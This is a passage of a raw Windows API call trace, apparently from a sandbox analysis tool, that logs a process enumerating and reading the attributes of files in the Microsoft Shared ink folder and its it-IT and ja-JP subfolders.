nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0047.678] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0047.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.678] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.679] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.679] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.679] NtClose (Handle=0x170) returned 0x0 [0047.679] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.679] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.679] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.679] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.679] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.679] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.679] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee53f8 [0047.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8748 [0047.679] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.679] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.679] GetLastError () returned 0x12 [0047.679] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.680] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.680] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.680] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.680] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.680] GetLastError () returned 0x12 [0047.680] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.680] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.680] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.680] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.680] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0047.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.680] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.681] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.681] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.681] NtClose (Handle=0x17c) returned 0x0 [0047.681] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.681] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.681] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.681] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.681] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.681] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.681] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5418 [0047.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8850 [0047.681] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.681] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.681] GetLastError () returned 0x12 [0047.681] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.682] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.682] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.682] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, 